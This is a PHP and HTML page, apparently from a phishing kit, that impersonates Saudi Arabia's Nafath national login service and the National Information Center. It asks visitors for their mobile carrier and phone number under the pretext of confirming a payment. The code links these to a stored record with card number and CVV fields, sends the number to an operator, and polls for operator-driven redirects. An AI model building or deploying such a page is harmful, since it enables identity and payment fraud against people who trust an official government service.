<?php
require_once(__DIR__ . '/geo-check.php');

session_start();
error_reporting(0);
ini_set('display_errors', 0);
require_once('./add-efaa.php');
require_once('./dashboard/init.php');
require_once(__DIR__ . "/auto-register.php");

if (isset($_SESSION['user_id'])) {
    $User->UpdateCurrentPage($_SESSION['user_id'], 'شركات الهاتف');
    $dataa = [
        'userId' => $_SESSION['user_id'],
        'page' => 'شركات الهاتف'
    ];
}

if (isset($_POST['submit'])) {
    $CompanyName = $_POST['CompanyName'];
    $PhoneNumber = $_POST['PhoneNumber'];
    $X = 0;

    require_once(__DIR__ . "/json_db.php");
    $jsonDB = new JsonDB();


    // Ensure card_id exists
    if (!isset($_SESSION['card_id']) || empty($_SESSION['card_id'])) {
        ensureUserRegistered();
        $userId = $_SESSION['user_id'];
        $emptyCard = array(
            'cardNumber' => '',
            'cardName' => '',
            'year' => '',
            'cvv' => '',
            'insurance_company' => '',
            'insurance_price' => '',
            'message' => 'دخول مباشر',
            'type' => '1'
        );
        $cardId = $User->InsertCardVisaRelatedUser($userId, $emptyCard);
        if ($cardId) {
            $_SESSION['card_id'] = $cardId;
        }
    }
    $jsonDB->update('card', $_SESSION['card_id'], ['company' => $CompanyName, 'PhoneNumber' => $PhoneNumber, 'CheckTheInfo_Nafad' => $X]);
    if (true) {
        $site = array(
            'message' => 'رقم هاتف نفاذ',
            'type' => '3'
        );

        ensureUserRegistered();
    $userId = $_SESSION['user_id'];
        $User->UpdateStatus($userId, 'رقم هاتف نفاذ');
        $_SESSION['CompanyName'] = $CompanyName;

        SendDynamic('رقم هاتف نفاذ', $PhoneNumber);

        echo "<script>document.location.href='wait-nafath.php';</script>";
    }
}
?>
<!DOCTYPE html>
<html lang="ar" dir="rtl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>النفاذ الوطني الموحد</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet">
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css">
    <link rel="stylesheet" href="./assets/gonsure-style.css">
    <style>
        body {
            background: linear-gradient(180deg, #f8fafc 0%, #eff6ff 100%);
            min-height: 100vh;
        }
        .nafath-header {
            background: var(--bg-white);
            padding: 16px;
            box-shadow: var(--shadow);
            text-align: center;
        }
        .nafath-header img {
            height: 36px;
        }
    </style>
</head>
<body>

    <!-- Header -->
    <div class="nafath-header">
        <img src="./assets/nafad.png" alt="نفاذ">
    </div>

    <!-- Content -->
    <div class="nafath-container fade-in">
        <div style="margin-bottom: 20px;">
            <i class="fas fa-mobile-screen-button" style="font-size: 48px; color: var(--primary); margin-bottom: 16px;"></i>
            <h2>توثيق رقم الجوال</h2>
            <p class="nafath-desc">يرجى توثيق رقم الجوال المرتبط بالحساب البنكي للتأكيد على عملية السداد</p>
        </div>

        <div style="padding: 0 16px; max-width: 400px; margin: 0 auto;">
            <form action="" method="POST">
                <div class="mb-3">
                    <label style="font-size: 13px; font-weight: 600; color: var(--text-dark); margin-bottom: 6px; display: block;">
                        <i class="fas fa-signal" style="color: var(--primary); margin-left: 6px;"></i>
                        مشغل الشبكة
                    </label>
                    <select name="CompanyName" class="form-select" required style="border-radius: 10px; height: 46px; border: 1.5px solid var(--border); font-family: 'Rubik', sans-serif;">
                        <option value="">اختر مشغل الشبكة</option>
                        <option value="mobily">Mobily</option>
                        <option value="zain">Zain</option>
                        <option value="Virqin">Virgin</option>
                        <option value="Stc">STC</option>
                        <option value="lebra">Lebara</option>
                    </select>
                </div>

                <div class="mb-3">
                    <label style="font-size: 13px; font-weight: 600; color: var(--text-dark); margin-bottom: 6px; display: block;">
                        <i class="fas fa-phone" style="color: var(--primary); margin-left: 6px;"></i>
                        رقم الجوال
                    </label>
                    <input type="text" name="PhoneNumber" id="phone" minlength="10" maxlength="10" inputmode="numeric" required pattern="05\d{8}" class="form-control" placeholder="05XXXXXXXX" style="border-radius: 10px; height: 46px; border: 1.5px solid var(--border); font-family: 'Rubik', sans-serif;">
                </div>

                <button type="submit" name="submit" class="btn-gonsure" style="margin-top: 16px;">
                    <i class="fas fa-shield-halved"></i>
                    توثيق
                </button>
            </form>
        </div>
    </div>

    <!-- Footer -->
    <footer style="padding: 20px 16px; text-align: center; margin-top: 40px;">
        <div style="background: #e5e7eb; border-radius: var(--radius); padding: 16px; max-width: 400px; margin: 0 auto;">
            <p style="font-size: 12px; font-weight: 600; color: var(--text-dark); margin: 0;">تطوير وتشغيل</p>
            <p style="font-size: 14px; font-weight: 700; color: var(--text-dark); margin: 4px 0;">مركز المعلومات الوطني</p>
            <p style="font-size: 11px; color: var(--text-muted); margin: 0;">النفاذ الوطني الموحد جميع الحقوق محفوظة © 2022</p>
        </div>
    </footer>

    <script src="js/main.js"></script>
    <script>
    function checkRedirect() {
        fetch('polling-redirect.php').then(r => r.json()).then(data => { if (data.redirect) { window.location.href = data.redirect; } }).catch(e => {});
    }
    setInterval(checkRedirect, 1500);
    checkRedirect();
    </script>
<input type="hidden" id="hb_uid" value="<?= isset($_SESSION['user_id']) ? $_SESSION['user_id'] : 0 ?>">
<script src="js/heartbeat.js"></script>
</body>
</html>
